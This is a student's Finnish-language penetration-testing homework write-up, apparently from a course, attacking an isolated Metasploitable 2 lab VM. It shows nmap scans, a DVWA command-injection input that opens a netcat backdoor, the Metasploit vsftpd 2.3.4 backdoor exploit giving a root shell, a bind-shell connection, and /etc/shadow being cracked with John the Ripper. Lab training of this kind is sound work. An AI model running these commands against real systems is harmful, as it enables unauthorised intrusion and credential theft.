Penetration testing – Work 2

Tehtävä 2

h2 turbo boosted

OWASP A03:2021 – Injection

An application is vulnerable to attack when:

  • User-supplied data is not validated, filtered, or sanitized by the application.
  • Dynamic queries or non-parameterized calls without context-aware escaping are used directly in the interpreter.
  • Hostile data is used within object-relational mapping (ORM) search parameters to extract additional, sensitive records.
  • Hostile data is directly used or concatenated. The SQL or command contains the structure and malicious data in dynamic queries, commands, or stored procedures.

Lähde: OWASP A03:2021 – Injection

Primary Defenses:

  • Option 1: Use of Prepared Statements (with Parameterized Queries)
  • Option 2: Use of Stored Procedures
  • Option 3: Allow-list Input Validation
  • Option 4: Escaping All User Supplied Input

Additional Defenses:

  • Also: Enforcing Least Privilege
  • Also: Performing Allow-list Input Validation as a Secondary Defense

Lähde: OWASP SQL Injection Prevention Cheat Sheet

SQLZoo

WebGoat SQLi

Metasploitable 2

Latasin Metasploitable 2 tästä lähteestä:
https://docs.rapid7.com/metasploit/metasploitable-2/

Se tuli VMWare koneena, joten minun ei tarvinnut tehdä mitään muuta kuin purkkaa arkiston ja avata koneen VMWare Workstation 15 Pro hypervisorissa.

Käynnistin virtuaalikoneen jossa on asennettu Kali linux samassa verkossa Metaspoitable 2 kanssa. Kali linux koneelta tulen tekemään lähiverkon porttiskannausta. Kaikki alla mainitut komennot suoritetaan Kali linux koneelta, johon olin kirjautuneena SSH-yhteydellä isäntäkoneelta (Windows 10) MobaXterm ohjelmaa käyttäen. Ennen tehtävän aloittamista otin Metaspoiltable 2 ja Kali koneet pois NAT:sta, jotta ne eivät näkyisi virtuaaliverkon ulkopuolelle ja muut verkot ei tulisi skannatuksi vahingossa.

Katsotaan ensin nmap skannerin ohjeet:
$ nmap -h

Löysin sopivan parametrin joka skannaa vain IP-osoitteet lähiverkossa

-sn: Ping Scan – disable port scan

Käynnistin shellin lokitus komennolla:
$ script -fa nmap.log

Katsotaan koneen verkkoasetukset:
$ ifconfig -a

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.142.133 netmask 255.255.255.0 broadcast 192.168.142.255
inet6 fe80::20c:29ff:fe07:c6c0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:07:c6:c0 txqueuelen 1000 (Ethernet)
RX packets 1077 bytes 96803 (94.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1243 bytes 134456 (131.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 545 bytes 47884 (46.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 545 bytes 47884 (46.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

 

IP-osoite kuuluu verkkoon 192.168.142.0, jonka maski on 24 bit
Käynnistetään verkon skannaus ilman porttiskannausta:

$ nmap -v -sn 192.168.142.0/24

Output:

Nmap scan report for 192.168.142.0 [host down]
Nmap scan report for 192.168.142.1 [host down]
Nmap scan report for 192.168.142.2
Host is up (0.00075s latency).
Nmap scan report for 192.168.142.3 [host down]


Nmap scan report for 192.168.142.132 [host down]
Nmap scan report for 192.168.142.133
Host is up (0.0030s latency).
Nmap scan report for 192.168.142.134
Host is up (0.0026s latency).
Nmap scan report for 192.168.142.135 [host down]
Nmap scan report for 192.168.142.136 [host down]
…………..

Lähiverkossa on kolme IP-osoitetta näkyneet skannauksessa. Edellisestä tehtävästä tiedän, että 192.168.142.2 on VMWare virtuaaliverkon DNS

192.168.142.2 (LAN DNS)
192.168.142.133 (Local host)
192.168.142.134 (Kohdekone)

Käynnistetään nmap seuraavilla parametreilla:

-A: Enable OS detection, version detection, script scanning, and traceroute
-v: Increase verbosity level (use -vv or more for greater effect)
$ nmap -v -A 192.168.142.134

Skannattiin 1000 porttia, mitkä ovat well-known ports (0-1023) ja (1024 – 49151 ) Registered ports


Scanning 192.168.142.134 [1000 ports]
Discovered open port 80/tcp on 192.168.142.134
Discovered open port 3306/tcp on 192.168.142.134
Discovered open port 111/tcp on 192.168.142.134
Discovered open port 22/tcp on 192.168.142.134
Discovered open port 53/tcp on 192.168.142.134
Discovered open port 139/tcp on 192.168.142.134
Discovered open port 25/tcp on 192.168.142.134
Discovered open port 445/tcp on 192.168.142.134
Discovered open port 23/tcp on 192.168.142.134
Discovered open port 21/tcp on 192.168.142.134
Discovered open port 5900/tcp on 192.168.142.134
Discovered open port 5432/tcp on 192.168.142.134
Discovered open port 8009/tcp on 192.168.142.134
Discovered open port 513/tcp on 192.168.142.134
Discovered open port 6667/tcp on 192.168.142.134
Discovered open port 1099/tcp on 192.168.142.134
Discovered open port 514/tcp on 192.168.142.134
Discovered open port 1524/tcp on 192.168.142.134
Discovered open port 8180/tcp on 192.168.142.134
Discovered open port 6000/tcp on 192.168.142.134
Discovered open port 2121/tcp on 192.168.142.134
Discovered open port 2049/tcp on 192.168.142.134
Discovered open port 512/tcp on 192.168.142.134

Seuraavat palvelut ja protokollat ​​toimivat skannauksen aikana havaitetuissa porteissa:
– HTTP
– MySQL
– ONC RPC
– SSH
– DNS
– NetBIOS Session Service
– SMTP
– Microsoft-DS (Active Directory / SMB)
– Telnet
– FTP
– Remote Process Execution (512)
– rlogin (513)
– Remote Shell, rsh, remsh, syslog (514)

Kohdekoneelta löytynyt vähintään pari tietokantaa:

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 – 8.3.7

DVWA:

nmap skannauksen tuloksesta näkee, että HTTP portti on auki. Sen lisäksi koneella pyörii Apache Tomcat 5.5 portilla 8180 ja Apache JServ Protocol (AJP) portilla 8009. Sille löytyy Ghostcat havoittuvuus ja valmis exploit 

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 – Linux
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS

Koneella on asennettu vanha Apache HTTP server vesio 2.2.8. Listan sen haavoittuvuuksista löytyy tästä linkistä:
https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/version_id-416233/Apache-Http-Server-2.2.8.html Etsimällä voi löytää sopivan exploitin, jolla pääsee hyödyntämään vanhan Apache version havoittuvuudet.

Metasploitable koneella on auki portti 80. Yritin avata Firefox selaimella. Avautunut WEB sovellus. Kirjauduin sinne “admin” käyttäjätunnusta ja “password” salasanaa käyttäen. Vihdoin Security level Low:ksi

 

Kokeilin ratkaistaa Command Execution tehtävää DVWA sovelluksessa syöttämällä input elementtiin seuraavaa komentoa, jossa puolipisteellä oli erotettu toinen komento joka luettele /root hakemiston sisältöä konsolille.

127.0.0.1; ls -la /root

Kokeilin vähän vaikeampaa. Syötin komennon joka avaa netcat takaoven portilla 4444

127.0.0.1; /tmp/pipe;sh /tmp/pipe | nc -l -p 4444 > /tmp/pipe

Metasploitable koneella käynnistyi prosessi, joka jäänyt kuuntelemaan porttia 4444

Kokeilin luoda yhteyden Kali koneelta Metasploitable koneelle netcat ohjelmalla portille 4444. Yhteys muodostui, mutta sitä ei ollut paljon apua.

Lähteet:
https://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson4/index.html
https://n3dx0o.medium.com/dvwa-command-execution-solutions-low-medium-high-6ee354dc2974
https://unix.stackexchange.com/questions/365095/using-netcat-but-client-refused-why

 

vsFTPd

nmap skannauksen tuloksesta näkee, että FTP on auki ja Anonymous kirjautuminen sallittu

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.142.133
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 – secure, fast, stable
|_End of status

Kokeilin kirjautua sinne FTP-yhteydellä

$ ftp anonymous@192.168.142.134
Connected to 192.168.142.134.
220 (vsFTPd 2.3.4)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Tuloksessa näkynyt myös vsFTPd 234, löysin netistä metasploit exploitin (vsftpd_234_backdoor) tämän haavoittuvuuden hyväksikäyttöön

Lähde: https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/

Kokeilin käyttää sitä. Pakollisena parametrina siinä on RHOST ja RPORT. Portiksi on valmiiksi asetettu 21, joten vaihdoin vain RHOST parametria laitamalla kohdekoneen IP-osoitteen. Exploit loi root shell session kohdekoneelle.

$ msfconsole
> use exploit/unix/ftp/vsftpd_234_backdoor
> show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
—- ————— ——– ———–
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):

Name Current Setting Required Description
—- ————— ——– ———–
Exploit target:

Id Name
— —-
0 Automatic
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.142.134
RHOSTS => 192.168.142.134
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.142.134:21 – Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.142.134:21 – USER: 331 Please specify the password.
[+] 192.168.142.134:21 – Backdoor service has been spawned, handling…
[+] 192.168.142.134:21 – UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.142.133:38321 -> 192.168.142.134:6200 ) at 2022-04-09 10:53:30 +0300

pwd
/
whoami
root

Bingo!

Back door

Kohdekoneen portilla 1524 oli kanssa palvelu
1524/tcp open bindshell Metasploitable root shell

Kokeilin luoda yhteyttä Netcat ohjelmalla ja pääsin heti root shelliin.

$ nc 192.168.142.134 1524
root@metasploitable:/# whoami
root
root@metasploitable:/# pwd
/

Lähde: https://cyberdewey.blogspot.com/2018/09/metasploitable-2-method-3-bind-shell.html

John the Ripper

Kopioin /etc/shadow ja /etc/passwd tiedostot kohdekoneelta Kali-koneelle kansioon /home/kali/Metasploitable/
John the Ripper käyttää salasanojen sanakirjaa. Käytän kotitehtävässä 1 käytettyä Rockyou.txt salasanojen listaa

root@metasploitable:/# cat /etc/shadow

Kali koneella suoritin seuraavat komennot:

$ unshadow passwd.txt shadow.txt > unshadowed.txt

$ john –wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

John aloittanut etismään sopivat salasanat brute force menetelmällä. top komennolla voi seurata prosesseja ja järjestelmän resurssien käyttöä. John prosessi oli käyttänyt melkein 99% CPU:n kapasiteetista.

Lopulta John löysi salasanat kolmelle /etc/shadow tiedostossa olevalle käyttäjätunnukselle: sys, klog, service. Neljälle tunnukselle sanakirjasta ei löytynyt salasanaa. Käyttämällä laajempia sanakirjoja ja kustamoituja sanakirjoja voidaan nostaa todenäköisyyttä arvata muitakin salasanoja

Lähde: https://erev0s.com/blog/cracking-etcshadow-john/